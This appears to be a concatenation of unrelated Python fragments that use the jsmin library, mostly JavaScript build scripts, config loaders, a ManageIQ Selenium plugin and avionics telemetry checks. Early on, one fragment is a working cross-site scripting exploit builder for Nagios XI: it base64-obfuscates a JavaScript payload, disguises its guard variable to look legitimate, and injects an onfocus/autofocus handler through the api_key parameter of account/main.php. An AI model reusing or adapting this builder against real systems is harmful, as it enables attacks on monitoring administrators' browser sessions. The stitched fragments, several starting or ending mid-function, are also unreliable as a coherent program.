mergedGeoExt = mergejs.run(files, order)
# Compress JS files
print "Compressing - GIS JS"
minimizedGIS = jsmin.jsmin(mergedGIS)
print "Compressing - GeoExt JS"
minimizedGeoExt = jsmin.jsmin(mergedGeoExt)
# Add license
minimizedGIS = file("license.gis.txt").read() + minimizedGIS
# Print to output files
print "Writing to %s." % outputFilenameGIS
file(outputFilenameGIS, "w").write(minimizedGIS)
print "Writing to %s." % outputFilenameGeoExt
file(outputFilenameGeoExt, "w").write(minimizedGeoExt)
# Move new JS files
print "Deleting %s." % outputFilenameGIS
try:
os.remove("../gis/%s" % outputFilenameGIS)
except:
pass
print "Moving new GIS JS files"
shutil.move("OpenLayers.js", "../gis")
print "Deleting %s." % outputFilenameGeoExt
try:
os.remove("../gis/%s" % outputFilenameGeoExt)
except:
pass
print "Moving new GeoExt JS files"
shutil.move("GeoExt.js", "../gis")
from jsmin import jsmin
import os
jsfiles_dir = os.path.join(os.path.realpath(os.path.dirname(__file__)),
'nilms/static/site/js')
final_jsfile = os.path.join(jsfiles_dir, 'packed.js')
jsfiles = [
'popups.js', 'wget.js', 'wpost.js', 'initializer.js', 'utils.js', 'save.js'
]
jscontents = ''
for fname in jsfiles:
with open(os.path.join(jsfiles_dir, fname)) as _file:
jscontents += jsmin(_file.read())
_file.close()
with open(final_jsfile, 'w+') as _file:
_file.write(jscontents)
_file.close()
def get_explorer_config(cfg_file):
if os.path.isfile(cfg_file) is False:
raise IOError("Config file %s not found" % cfg_file)
with open(cfg_file, 'r') as fp:
return json.loads(jsmin.jsmin(fp.read()))
def output_and_hide_button():
from jsmin import jsmin
with open('./lib/my_toc/1.0.js') as js_file:
js = jsmin(js_file.read())
js = "<script type='text/javascript'>" + js + '</script>'
return HTML(js)
# add trailing slash if necessary to host value
host = ""
if (args.host.endswith("/")):
host = args.host
else:
host = args.host + "/"
# minify
minified = ""
with open(args.payload) as js_file:
rawPayload = js_file.read()
if (args.account):
# onfocus multiple execution prevention, nsp_prot so it just looks like something that's legit
rawPayload = "if (!window.nsp_prot) { " + rawPayload + ";window.nsp_prot = true; }"
minified = jsmin(rawPayload, quote_chars="'\"`")
# some obfuscation
b64payload = base64.b64encode(minified.encode('utf8')).decode('utf8')
if (args.account):
# url encoded code to eval the base64 payload
prefix = "%73%65%74%54%69%6D%65%6F%75%74%28%61%74%6F%62%28%27" # setTimeout(atob('
suffix = "%27%29%29" # '))
payload = prefix + urllib.parse.quote_plus(b64payload) + suffix
# build payload url, api_key=" onfocus="console.log('payload here')" autofocus h="
url = host + "nagiosxi/account/main.php?%61%70%69%5F%6B%65%79=%22%20%6F%6E%66%6F%63%75%73%3D%22" + payload + "%22%20%61%75%74%6F%66%6F%63%75%73%20h=%22"
print(url)
def compress_js(self, js):
from jsmin import jsmin
return jsmin(js)
def ScriptFile(req, debug=None, version=None, name=None, files=None):
""" Return the body of the selected script file (or alias)
Called with either:
1. a single 'name' (return file name.js)
2. a 'name' and an array of 'files' (combine files into virtual name.js)
"""
# If debug=0 not specified, we probably want non-minified version
if debug is None:
debug = True
debug = bool(int(debug))
if version is None:
version = settings.SCRIPT_VERSION
sMemKey = 'jscompose-%s-%s-%d' % (name, version, debug)
if files is None:
# Found an alias - include component files
if name in settings.SCRIPT_ALIASES:
files = settings.SCRIPT_ALIASES[name]
# No alias - assume this is a singe javascript file
else:
files = [name]
sScript = None
if settings.SCRIPT_CACHE:
req.SetCacheTime(30 * 24 * 3600)
sScript = memcache.get(sMemKey)
else:
req.SetCacheTime(0)
if sScript is None:
# We only have the latest version of the script available if not already in memcache
if version != settings.SCRIPT_VERSION:
raise Http404
sMemKey = 'jscompose-%s-%s-%d' % (name, settings.SCRIPT_VERSION, debug)
sScript = ''
for name in files:
if debug:
sScript += "/* ---------- %s.js ---------- */\n" % name
try:
file = open(
os.path.join(settings.SCRIPT_DIR,
'%s.js' % name).replace('\\', '/'), 'r')
sT = file.read() + '\n'
if not debug:
sT = jsmin.jsmin(sT)
sScript += sT
file.close()
except Exception, e:
sScript += "/* Error loading file: %s.js (%r) */\n" % (name, e)
if settings.SCRIPT_CACHE:
logging.info("caching script %s" % sMemKey)
# Limit memcache to 1 hour in case script version not incremented!
memcache.set(sMemKey, sScript, 3600)
class MiqBrowserPlugin(DefaultPlugin):
# Here we dismiss notifications as they obscure lower elements which need to be clicked on
# We don't bother iterating and instead choose [0] and [1] to simplify the codepath
# TODO: In the future we will store the notifications that are unread before dismissing them
ENSURE_PAGE_SAFE = jsmin('''\
try {
var eventNotificationsService = angular.element('#notification-app')
.injector().get('eventNotifications');
eventNotificationsService.clearAll(
ManageIQ.angular.eventNotificationsData.state.groups[0]
);
eventNotificationsService.clearAll(
ManageIQ.angular.eventNotificationsData.state.groups[1]
);
} catch(err) {
}
function isHidden(el) {if(el === null) return true; return el.offsetParent === null;}
function isDataLoading() {
try {
// checks whether all the data on page is loaded
// actual since 5.9
return window.ManageIQ.gtl.loading;
} catch(err){
// there are pages in 5.9 where that call ^^ raises error
return false;
};
}
try {
angular.element('error-modal').hide();
} catch(err) {
}
try {
return !(ManageIQ.qe.anythingInFlight() || isDataLoading());
} catch(err) {
return (
((typeof $ === "undefined") ? true : $.active < 1) &&
(
!((!isHidden(document.getElementById("spinner_div"))) &&
isHidden(document.getElementById("lightbox_div")))) &&
document.readyState == "complete" &&
((typeof checkMiqQE === "undefined") ? true : checkMiqQE('autofocus') < 1) &&
((typeof checkMiqQE === "undefined") ? true : checkMiqQE('debounce') < 1) &&
((typeof checkAllMiqQE === "undefined") ? true : checkAllMiqQE() < 1) &&
! isDataLoading()
);
}
''')
OBSERVED_FIELD_MARKERS = (
'data-miq_observe',
'data-miq_observe_date',
'data-miq_observe_checkbox',
)
DEFAULT_WAIT = .8
@property
def page_has_changes(self):
"""Checks whether current page has any changes which may lead to "Abandon Changes" alert """
js_code = """
function PageHasChanges()
{
if(ManageIQ.angular.scope)
{
if(angular.isDefined(ManageIQ.angular.scope.angularForm)
&&ManageIQ.angular.scope.angularForm.$dirty
&&!miqDomElementExists("ignore_form_changes"))
return true
}
else
{
if((miqDomElementExists("buttons_on")&&
$("#buttons_on").is(":visible")||null!==ManageIQ.changes)
&&!miqDomElementExists("ignore_form_changes"))
return true
}
return false
};
return PageHasChanges();
"""
return self.browser.selenium.execute_script(js_code)
def make_document_focused(self):
if self.browser.browser_type != 'firefox':
return
if not self.browser.execute_script('return document.hasFocus()'):
self.logger.debug(
'Fixing firefox alert focus mess by opening and closing a new window')
win = self.browser.selenium.current_window_handle
self.browser.selenium.execute_script('open("about:blank")')
win_h = None
for win_h in self.browser.selenium.window_handles:
if win != win_h:
self.logger.debug('Closing the newly opened window')
break
self.browser.selenium.switch_to.window(win_h)
self.browser.selenium.close()
self.browser.selenium.switch_to.window(win)
self.logger.debug('Switched back to the original window')
def ensure_page_safe(self, timeout='20s'):
# THIS ONE SHOULD ALWAYS USE JAVASCRIPT ONLY, NO OTHER SELENIUM INTERACTION
if (self.browser.page_dirty and self.browser.alert_present and
self.browser.get_alert().text == 'Abandon changes?'):
self.browser.handle_alert()
def _check():
result = self.browser.execute_script(self.ENSURE_PAGE_SAFE, silent=True)
# TODO: Logging
return bool(result)
wait_for(_check, timeout=timeout, delay=0.2, silent_failure=True, very_quiet=True)
def after_keyboard_input(self, element, keyboard_input):
observed_field_attr = None
for attr in self.OBSERVED_FIELD_MARKERS:
observed_field_attr = self.browser.get_attribute(attr, element)
if observed_field_attr is not None:
break
else:
return
try:
attr_dict = json.loads(observed_field_attr)
interval = float(attr_dict.get('interval', self.DEFAULT_WAIT))
# Pad the detected interval, as with default_wait
if interval < self.DEFAULT_WAIT:
interval = self.DEFAULT_WAIT
except (TypeError, ValueError):
# ValueError and TypeError happens if the attribute value couldn't be decoded as JSON
# ValueError also happens if interval couldn't be coerced to float
# In either case, we've detected an observed text field and should wait
self.logger.warning('could not parse %r', observed_field_attr)
interval = self.DEFAULT_WAIT
self.logger.debug('observed field detected, pausing for %.1f seconds', interval)
time.sleep(interval)
self.browser.plugin.ensure_page_safe()
self.make_document_focused()
def before_keyboard_input(self, element, keyboard_input):
# there is an issue in different dialogs
# when cfme doesn't see that some input fields have been updated
# this is temporary fix until we figure out real reason and fix it
sleep(0.3)
self.make_document_focused()
def before_click(self, element):
# this is necessary in order to handle unexpected alerts like "Abandon Changes"
self.browser.page_dirty = self.page_has_changes
def after_click(self, element):
# page_dirty is set to None because otherwise if it was true, all next ensure_page_safe
# calls would check alert presence which is enormously slow in selenium.
self.browser.page_dirty = None
print "Merging gxp libraries."
mergedGxpMin = mergejs.run(sourceDirectoryGxp,
None,
configFilenameGxpMin)
mergedGxp2 = mergejs.run(sourceDirectoryGxp,
None,
configFilenameGxp2)
mergedGxpFull = mergejs.run(sourceDirectoryGxp,
None,
configFilenameGxpFull)
# Compress JS files
print "Compressing - OpenLayers JS"
if use_compressor == "closure_ws":
# Limited to files < 1Mb!
minimizedOpenLayers = jsmin.jsmin(mergedOpenLayers)
#minimizedOpenLayers = jsmin.jsmin("%s\n%s" % (mergedOpenLayers,
# mergedOpenLayersExten))
else:
minimizedOpenLayers = minimize(mergedOpenLayers)
#minimizedOpenLayers = minimize("%s\n%s" % (mergedOpenLayers,
# mergedOpenLayersExten))
# OpenLayers extensions
for filename in ["cdauth",
"OWM.OpenLayers",
]:
inputFilename = os.path.join("..", "gis", "%s.js" % filename)
outputFilename = "%s.min.js" % filename
input = open(inputFilename, "r").read()
minimized = minimize(input)
import jsmin
import json
import jsonschema
import os.path
import sys
with open(sys.argv[1], "rb") as f:
contents = json.loads(jsmin.jsmin(f.read().decode("utf-8-sig")))
schema_file = os.path.join(
os.path.dirname(__file__),
"..", "..", "..", "Help", "manual", "presets", "schema.json")
with open(schema_file) as f:
schema = json.load(f)
jsonschema.validate(contents, schema)
def _prepare_data(self, data):
if not self.debug:
data = jsmin(data)
return (data, sha1(repr(data).encode('utf-8')).hexdigest())
def compressFile(source, dest):
js = open(source, "r")
jscontent = js.read()
file(dest, "w").write(jsmin.jsmin(jscontent))
js.close()
def do_js(minimize, do_gis=False, warnings=True):
""" Minifies the JavaScript """
# -------------------------------------------------------------------------
# Build S3.min.js
#
sourceDirectory = ".."
configFilename = "sahana.js.cfg"
outputFilename = "S3.min.js"
info("Merging Core libraries.")
merged = mergejs.run(sourceDirectory, None, configFilename)
info("Compressing - JS")
minimized = minimize(merged)
info("Adding license file.")
minimized = open("license.txt").read() + minimized
info("Writing to %s." % outputFilename)
with openf(outputFilename, "w") as outFile:
outFile.write(minimized)
# Remove old JS files
info("Deleting %s." % outputFilename)
try:
os.remove("../S3/%s" % outputFilename)
except:
pass
info("Moving new JS files")
shutil.move(outputFilename, "../S3")
# -------------------------------------------------------------------------
# Build bootstrap
#
# Bootstrap
# info("Compressing Bootstrap")
# sourceDirectoryBootstrap = ".."
# configFilenameBootstrap = "sahana.js.bootstrap.cfg"
# outputFilenameBootstrap = "bootstrap.min.js"
# mergedBootstrap = mergejs.run(sourceDirectoryBootstrap,
# None,
# configFilenameBootstrap)
# minimizedBootstrap = minimize(mergedBootstrap)
# open(outputFilenameBootstrap, "w").write(minimizedBootstrap)
# try:
# os.remove("../%s" % outputFilenameBootstrap)
# except:
# pass
# shutil.move(outputFilenameBootstrap, "..")
# -------------------------------------------------------------------------
# Build multi-component S3 scripts (=sahana.js.*.cfg files)
# - configured as:
# (title, config-file, output-file, closure-extra-params)
#
s3_script_sets = (
("calendar", "sahana.js.calendar.cfg", "s3.ui.calendar.min.js", None),
("dataLists", "sahana.js.dataLists.cfg", "s3.dataLists.min.js", None),
("dataTables", "sahana.js.datatable.cfg", "s3.ui.datatable.min.js",
None),
("dataTables (multi)", "sahana.js.dataTables_multi.cfg",
"s3.dataTables.multi.min.js", None),
("groupedItems", "sahana.js.groupeditems.cfg",
"s3.groupeditems.min.js", None),
("ImageCrop", "sahana.js.imageCrop.cfg", "s3.imagecrop.widget.min.js",
None),
("JSTree", "sahana.js.jstree.cfg", "s3.jstree.min.js", None),
("Chat", "sahana.js.chat.cfg", "s3.chat.min.js",
"--strict_mode_input=false"),
("Guided Tour", "sahana.js.guidedTour.cfg", "s3.guidedtour.min.js",
None),
)
for name, cfg_name, out_filename, extra_params in s3_script_sets:
minify_from_cfg(
minimize,
name,
"..", # source_dir
cfg_name,
out_filename,
extra_params=extra_params,
)
# -------------------------------------------------------------------------
# Build single-component S3 scripts
#
for filename in (
"cap",
"dc_answer",
"dc_question",
"dc_results",
"dvr",
"gis",
"gis.feature_crud",
"gis.fullscreen",
"gis.latlon",
"gis.loader",
"gis.pois",
"msg",
"popup",
"register_validation",
"shelter_inspection",
"sync",
"timeline",
"ui.addperson",
"ui.anonymize",
"ui.cascadeselect",
"ui.charts",
"ui.consent",
"ui.contacts",
"ui.dashboard",
"ui.embeddedcomponent",
"ui.locationselector",
"ui.organizer",
"ui.permissions",
"ui.pivottable",
"ui.roles",
"ui.sitecheckin",
"ui.timeplot",
"work",
):
info("Compressing s3.%s.js" % filename)
inputFilename = os.path.join("..", "S3", "s3.%s.js" % filename)
outputFilename = "s3.%s.min.js" % filename
with openf(inputFilename, "r") as inFile:
with openf(outputFilename, "w") as outFile:
outFile.write(minimize(inFile.read()))
move_to(outputFilename, "../S3")
# -------------------------------------------------------------------------
# Optional JS builds
# - enable at the top when desired
#
if JS_FULL:
# To do just 1 file:
# cd static/scripts
# java -jar tools/compiler.jar --js jquery.fileupload.js --js_output_file jquery.fileupload.min.js
for filename in (
"jquery.fileupload", # Used by UCCE
"jquery.fileupload-process", # Used by UCCE
"jquery.fileupload-image", # Used by UCCE
"jquery.iframe-transport", # Used by jquery.fileupload
"spectrum",
"tag-it",
):
info("Compressing %s.js" % filename)
in_f = os.path.join("..", filename + ".js")
out_f = os.path.join("..", filename + ".min.js")
with openf(in_f, "r") as inp:
with openf(out_f, "w") as out:
out.write(minimize(inp.read()))
info("Compressing Foundation")
# Merge + minify
merged = mergejs.run("..", None, "foundation.cfg")
minimized = minimize(merged)
# Write minified file
with openf("foundation.min.js", "w") as outFile:
outFile.write(minimized)
# Replace target file
move_to("foundation.min.js", "../foundation")
if JS_VULNERABILITY:
# Vulnerability
info("Compressing Vulnerability")
sourceDirectory = "../.."
configFilename = "sahana.js.vulnerability.cfg"
outputFilename = "s3.vulnerability.min.js"
merged = mergejs.run(sourceDirectory, None, configFilename)
minimized = minimize(merged)
with openf(outputFilename, "w") as outFile:
outFile.write(minimized)
move_to(outputFilename, "../../themes/Vulnerability/js")
info("Compressing Vulnerability GIS")
sourceDirectory = "../.."
configFilename = "sahana.js.vulnerability_gis.cfg"
outputFilename = "OpenLayers.js"
merged = mergejs.run(sourceDirectory, None, configFilename)
minimized = minimize(merged)
with openf(outputFilename, "w") as outFile:
outFile.write(minimized)
move_to(outputFilename, "../../themes/Vulnerability/js")
info("Compressing Vulnerability Datatables")
sourceDirectory = "../.."
configFilename = "sahana.js.vulnerability_datatables.cfg"
outputFilename = "s3.dataTables.min.js"
merged = mergejs.run(sourceDirectory, None, configFilename)
minimized = minimize(merged)
with openf(outputFilename, "w") as outFile:
outFile.write(minimized)
move_to(outputFilename, "../../themes/Vulnerability/js")
# -------------------------------------------------------------------------
# GIS
# - enable with command line option DOGIS
#
if do_gis:
sourceDirectoryOpenLayers = "../gis/openlayers/lib"
sourceDirectoryMGRS = "../gis"
sourceDirectoryGeoExt = "../gis/GeoExt/lib"
sourceDirectoryGxp = "../gis/gxp"
configFilenameOpenLayers = "sahana.js.ol.cfg"
configFilenameMGRS = "sahana.js.mgrs.cfg"
configFilenameGeoExt = "sahana.js.geoext.cfg"
configFilenameGxpMin = "sahana.js.gxp.cfg"
configFilenameGxp2 = "sahana.js.gxp2.cfg"
configFilenameGxpFull = "sahana.js.gxpfull.cfg"
outputFilenameOpenLayers = "OpenLayers.js"
outputFilenameMGRS = "MGRS.min.js"
outputFilenameGeoExt = "GeoExt.js"
outputFilenameGxp = "gxp.js"
outputFilenameGxp2 = "gxp_upload.js"
# Merge GIS JS Files
info("Merging OpenLayers libraries.")
mergedOpenLayers = mergejs.run(sourceDirectoryOpenLayers, None,
configFilenameOpenLayers)
info("Merging MGRS libraries.")
mergedMGRS = mergejs.run(sourceDirectoryMGRS, None, configFilenameMGRS)
info("Merging GeoExt libraries.")
mergedGeoExt = mergejs.run(sourceDirectoryGeoExt, None,
configFilenameGeoExt)
info("Merging gxp libraries.")
mergedGxpMin = mergejs.run(sourceDirectoryGxp, None,
configFilenameGxpMin)
mergedGxp2 = mergejs.run(sourceDirectoryGxp, None, configFilenameGxp2)
mergedGxpFull = mergejs.run(sourceDirectoryGxp, None,
configFilenameGxpFull)
# Compress JS files
if use_compressor == "closure":
# Suppress strict-mode errors
minimize_ = lambda stream: minimize(
stream,
extra_params="--strict_mode_input=false",
)
else:
minimize_ = minimize
info("Compressing - OpenLayers JS")
if use_compressor == "closure_ws":
# Limited to files < 1Mb!
minimizedOpenLayers = jsmin.jsmin(mergedOpenLayers)
#minimizedOpenLayers = jsmin.jsmin("%s\n%s" % (mergedOpenLayers,
# mergedOpenLayersExten))
else:
minimizedOpenLayers = minimize_(mergedOpenLayers)
#minimizedOpenLayers = minimize_("%s\n%s" % (mergedOpenLayers,
# mergedOpenLayersExten))
# OpenLayers extensions
for filename in ("OWM.OpenLayers", ):
inputFilename = os.path.join("..", "gis", "%s.js" % filename)
outputFilename = "%s.min.js" % filename
with openf(inputFilename, "r") as inFile:
with openf(outputFilename, "w") as outFile:
outFile.write(minimize_(inFile.read()))
move_to(outputFilename, "../gis")
info("Compressing - MGRS JS")
minimizedMGRS = minimize_(mergedMGRS)
info("Compressing - GeoExt JS")
minimizedGeoExt = minimize_("%s\n%s" % (
mergedGeoExt,
#mergedGeoExtux,
mergedGxpMin))
# GeoNamesSearchCombo
inputFilename = os.path.join("..", "gis", "GeoExt", "ux",
"GeoNamesSearchCombo.js")
outputFilename = "GeoNamesSearchCombo.min.js"
with openf(inputFilename, "r") as inFile:
with openf(outputFilename, "w") as outFile:
outFile.write(minimize_(inFile.read()))
move_to(outputFilename, "../gis/GeoExt/ux")
info("Compressing - gxp JS")
minimizedGxp = minimize_(mergedGxpFull)
minimizedGxp2 = minimize_(mergedGxp2)
for filename in ("WMSGetFeatureInfo", ):
inputFilename = os.path.join("..", "gis", "gxp", "plugins",
"%s.js" % filename)
outputFilename = "%s.min.js" % filename
with openf(inputFilename, "r") as inFile:
with openf(outputFilename, "w") as outFile:
outFile.write(minimize_(inFile.read()))
move_to(outputFilename, "../gis/gxp/plugins")
for filename in ( #"GoogleEarthPanel",
"GoogleStreetViewPanel", ):
inputFilename = os.path.join("..", "gis", "gxp", "widgets",
"%s.js" % filename)
outputFilename = "%s.min.js" % filename
with openf(inputFilename, "r") as inFile:
with openf(outputFilename, "w") as outFile:
outFile.write(minimize_(inFile.read()))
move_to(outputFilename, "../gis/gxp/widgets")
# Add license
#minimizedGIS = open("license.gis.txt").read() + minimizedGIS
# Print to output files
info("Writing to %s." % outputFilenameOpenLayers)
with openf(outputFilenameOpenLayers, "w") as outFile:
outFile.write(minimizedOpenLayers)
info("Moving new OpenLayers JS files")
move_to(outputFilenameOpenLayers, "../gis")
info("Writing to %s." % outputFilenameMGRS)
with openf(outputFilenameMGRS, "w") as outFile:
outFile.write(minimizedMGRS)
info("Moving new MGRS JS files")
move_to(outputFilenameMGRS, "../gis")
info("Writing to %s." % outputFilenameGeoExt)
with openf(outputFilenameGeoExt, "w") as outFile:
outFile.write(minimizedGeoExt)
info("Moving new GeoExt JS files")
move_to(outputFilenameGeoExt, "../gis")
info("Writing to %s." % outputFilenameGxp)
with openf(outputFilenameGxp, "w") as outFile:
outFile.write(minimizedGxp)
info("Moving new gxp JS files")
move_to(outputFilenameGxp, "../gis")
info("Writing to %s." % outputFilenameGxp2)
with openf(outputFilenameGxp2, "w") as outFile:
outFile.write(minimizedGxp2)
info("Moving new gxp2 JS files")
move_to(outputFilenameGxp2, "../gis")
def load_config_file(params_file=None, verbose=False, dryrun=False):
"""
Load the pysteps configuration file. The configuration parameters are available
as a DotDictify instance in the `pysteps.rcparams` variable.
Parameters
----------
params_file: str
Path to the parameters file to load. If `params_file=None`, it looks
for a configuration file in the default locations.
verbose: bool
Print debugging information. False by default.
This flag is overwritten by the silent_import=False in the
pysteps configuration file.
dryrun: bool
If False, perform a dry run that does not update the `pysteps.rcparams`
attribute.
Returns
-------
rcparams : _DotDictify
Configuration parameters loaded from file.
"""
global rcparams
if params_file is None:
# Load default configuration
params_file = config_fname()
if params_file is None:
warnings.warn(
"pystepsrc file not found." +
"The defaults parameters are left empty",
category=ImportWarning,
)
_rcparams = dict()
return
with open(params_file, "r") as f:
_rcparams = json.loads(jsmin(f.read()))
if (not _rcparams.get("silent_import", False)) or verbose:
print("Pysteps configuration file found at: " + params_file + "\n")
with open(_get_config_file_schema(), "r") as f:
schema = json.loads(jsmin(f.read()))
validator = Draft4Validator(schema)
error_msg = "Error reading pystepsrc file."
error_count = 0
for error in validator.iter_errors(_rcparams):
error_msg += "\nError in " + "/".join(list(error.path))
error_msg += " : " + error.message
error_count += 1
if error_count > 0:
raise RuntimeError(error_msg)
_rcparams = _DotDictify(_rcparams)
if not dryrun:
rcparams = _rcparams
return _rcparams
def Initialize(self):
with open(_AUTOCHECK_GRADEBOOK, 'r') as fp:
json_data = fp.read()
try:
# Use jsmin to allow comments in the gradebook JSON file.
json_data = json.loads(jsmin.jsmin(json_data))
except ValueError:
raise ValueError('Invalid JSON format in "%s".' % _AUTOCHECK_GRADEBOOK)
gradebook_to_load = gradebook.Gradebook(json_data, settings.NETWORK_YAML)
# A dict of field indices to check, grouped by message type, source, and
# the first-level attributes.
# E.g., gradebook_fields[message_type][source][attribute] = [field_name]
gradebook_fields = gradebook_to_load.GetFieldMap(
'$message_type.$aio_node.')
self._check_dict = collections.defaultdict(
lambda: collections.defaultdict( # pylint: disable=g-long-lambda
lambda: collections.defaultdict(base_check.ListOfChecks)))
for_log = False
for message_name, sources in gradebook_fields.iteritems():
for source, attributes in sources.iteritems():
for _, fields in attributes.iteritems():
for field in fields:
# Get the referencing ranges to check from the gradebook.
segments = field.split('.')
criteria = gradebook_to_load.GetCriteria(segments)
sub_field_name = '.'.join(segments[2:])
field_checks = gradebook_base_check.GradebookChecks()
field_checks.InitializeByField(
for_log, message_name, source, sub_field_name, criteria, False)
attribute_name = criteria.name if criteria.name else segments[-1]
self._check_dict[message_name][source][attribute_name].Concatenate(
field_checks)
# Add checks for flight computers.
default_temperature_limits = _MONITOR_PARAMS.thermal.aiomon_default
message_name = 'FlightComputerSensor'
for short_name in _FC_LABELS_HELPER.ShortNames():
fc_name = 'Fc' + short_name
fc_check_dict = self._check_dict[message_name][fc_name]
fc_check_dict['FcMon Analog Voltages [V]'].Append(
fc_checks.FcMonAnalogChecker(for_log, short_name))
fc_check_dict['AioMon Analog Voltages [V]'].Append(
avionics_checks.AioMonAnalogChecker(for_log, message_name, fc_name))
fc_check_dict['AioMon Board Temperature [C]'].Append(
avionics_checks.AioMonTemperatureChecker(
for_log, message_name, fc_name,
normal_ranges=check_range.Interval(
[default_temperature_limits.low,
default_temperature_limits.high]),
warning_ranges=check_range.Interval(
[default_temperature_limits.very_low,
default_temperature_limits.very_high])))
fc_check_dict['Bus Voltages [V]'].Append(
avionics_checks.AioMonBusVoltageChecker(
for_log, message_name, fc_name))
fc_check_dict['Bus Current [A]'].Append(
avionics_checks.AioMonBusCurrentChecker(
for_log, message_name, fc_name))
# Add checks for servos.
message_name = 'ServoStatus'
for short_name in _SERVO_LABELS_HELPER.ShortNames():
servo_name = 'Servo' + short_name
servo_check_dict = self._check_dict[message_name][servo_name]
servo_check_dict['ServoMon Analog Voltages [V]'].Append(
servo_checks.ServoMonAnalogChecker(for_log, short_name))
servo_check_dict['ServoMon Temperature [C]'].Append(
servo_checks.ServoMonTemperatureChecker(
for_log, short_name,
normal_ranges=check_range.Interval([0, 65]),
warning_ranges=check_range.Interval([0, 80])))
servo_check_dict['AioMon Analog Voltages [V]'].Append(
avionics_checks.AioMonAnalogChecker(
for_log, message_name, servo_name))
servo_check_dict['AioMon Board Temperature [C]'].Append(
avionics_checks.AioMonTemperatureChecker(
for_log, message_name, servo_name,
normal_ranges=check_range.Interval([0, 65]),
warning_ranges=check_range.Interval([0, 80])))
servo_check_dict['Bus Voltages [V]'].Append(
avionics_checks.AioMonBusVoltageChecker(for_log, message_name,
servo_name))
servo_check_dict['Bus Current [A]'].Append(
avionics_checks.AioMonBusCurrentChecker(for_log, message_name,
servo_name))
# Add checks for GPSes.
gps_check_dict = self._check_dict['GpsSignalStatus']['Gps Receivers']
gps_check_dict['Base NovAtel'].Append(
gps_checks.NovAtelCn0Checker(for_log, 'GpsBaseStation',
'GPS Base'))
for gps_type, fc_name in gps_util.GpsSelector():
if gps_type == gps_receiver.GpsReceiverType.NOV_ATEL.value:
gps_check_dict[fc_name + ' NovAtel'].Append(
gps_checks.NovAtelCn0Checker(for_log, fc_name, fc_name))
elif gps_type == gps_receiver.GpsReceiverType.SEPTENTRIO.value:
gps_check_dict[fc_name + ' Septentrio'].Append(
gps_checks.SeptentrioCn0Checker(for_log, fc_name, fc_name))
else:
raise ValueError('Invalid GPS type: %d.' % gps_type)
# Add checks for stacked motors.
stacking_check_dict = self._check_dict['MotorStatus']['Stacking']
stacking_check_dict['Pbi_Sti'].Append(
motor_checks.MotorStackPairVoltageDiff(
for_log, ['MotorPbi', 'MotorSti']))
stacking_check_dict['Pbo_Sto'].Append(
motor_checks.MotorStackPairVoltageDiff(
for_log, ['MotorPbo', 'MotorSto']))
stacking_check_dict['Pti_Sbi'].Append(
motor_checks.MotorStackPairVoltageDiff(
for_log, ['MotorPti', 'MotorSbi']))
stacking_check_dict['Pto_Sbo'].Append(
motor_checks.MotorStackPairVoltageDiff(
for_log, ['MotorPto', 'MotorSbo']))
https://github.com/will-hart/demarcate.js
"""
from jsmin import jsmin
from cssmin import cssmin
import gzip
if __name__ == "__main__":
op = ""
# put in showdown dependency
print "\n\n\nBuilding demarcate.js Dependencies:\n\nGenerating minified javascripts"
print " >> Minifying Showdown Dependency"
with open("js/showdown.min.js", "r") as sd:
op = jsmin(sd.read())
print " >> Minifying jQuery.autosize Dependency"
with open("js/jquery.autosize.js", "r") as ats:
op += jsmin(ats.read())
print " >> Minifying Demarcate Library"
with open("js/demarcate.js", "r") as dm:
op += jsmin(dm.read())
print " << Writing minified text to js/demarcate.min.js"
with open("js/demarcate.min.js", "w") as dm_min:
dm_min.write(op)
print " << Writing minified + gzipped text to js/demarcate.min.js.gz"
with gzip.open("js/demarcate.min.js.gz", "w") as dm_min:
dm_min.write(op)
import os
from jsmin import jsmin
data = os.listdir("data/")
nodes = "["
for file in data:
x = open("data/" + str(file), "r").read().strip()
nodes = nodes + x + ",\n"
nodes = nodes[:-2]
nodes = nodes + "]"
arr = open("data.arr", "w+")
arr.write(jsmin(str(nodes)))
arr.close
def minify_js(source, target):
import jsmin
js = jsmin.jsmin(open(source).read())
with open(target, 'w') as f:
f.write(js)
def main():
parser = OptionParser(
usage="usage: %prog [options] header source [input [input...]]")
parser.add_option('--no-minify',
action='store_true',
help='Do not run the input files through jsmin')
parser.add_option(
'--fail-if-non-ascii',
action='store_true',
help='Fail if the input files include non-ASCII characters')
parser.add_option('-n', '--namespace', help='Namespace to use')
(options, arguments) = parser.parse_args()
if not options.namespace:
print('Error: must provide a namespace')
parser.print_usage()
exit(-1)
if len(arguments) < 3:
print('Error: must provide at least 3 arguments')
parser.print_usage()
exit(-1)
namespace = options.namespace
headerPath = arguments[0]
sourcePath = arguments[1]
inputPaths = arguments[2:]
headerFile = open(headerPath, 'w')
print('namespace {0:s} {{'.format(namespace), file=headerFile)
sourceFile = open(sourcePath, 'w')
print('#include "{0:s}"'.format(os.path.basename(headerPath)),
file=sourceFile)
print('namespace {0:s} {{'.format(namespace), file=sourceFile)
for inputFileName in inputPaths:
if is_3:
inputStream = io.open(inputFileName, encoding='utf-8')
else:
inputStream = io.FileIO(inputFileName)
data = inputStream.read()
if not options.no_minify:
characters = jsmin(data)
else:
characters = data
if options.fail_if_non_ascii:
for character in characters:
if ord(character) >= 128:
raise Exception("%s is not ASCII" % character)
if is_3:
codepoints = bytearray(characters, encoding='utf-8')
else:
codepoints = list(map(ord, characters))
# Use the size of codepoints instead of the characters
# because UTF-8 characters may need more than one byte.
size = len(codepoints)
variableName = os.path.splitext(os.path.basename(inputFileName))[0]
print('extern const char {0:s}JavaScript[{1:d}];'.format(
variableName, size),
file=headerFile)
print('const char {0:s}JavaScript[{1:d}] = {{'.format(
variableName, size),
file=sourceFile)
for codepointChunk in chunk(codepoints, 16):
print(' {0:s},'.format(','.join(
map(stringifyCodepoint, codepointChunk))),
file=sourceFile)
print('};', file=sourceFile)
print('}} // namespace {0:s}'.format(namespace), file=headerFile)
print('}} // namespace {0:s}'.format(namespace), file=sourceFile)
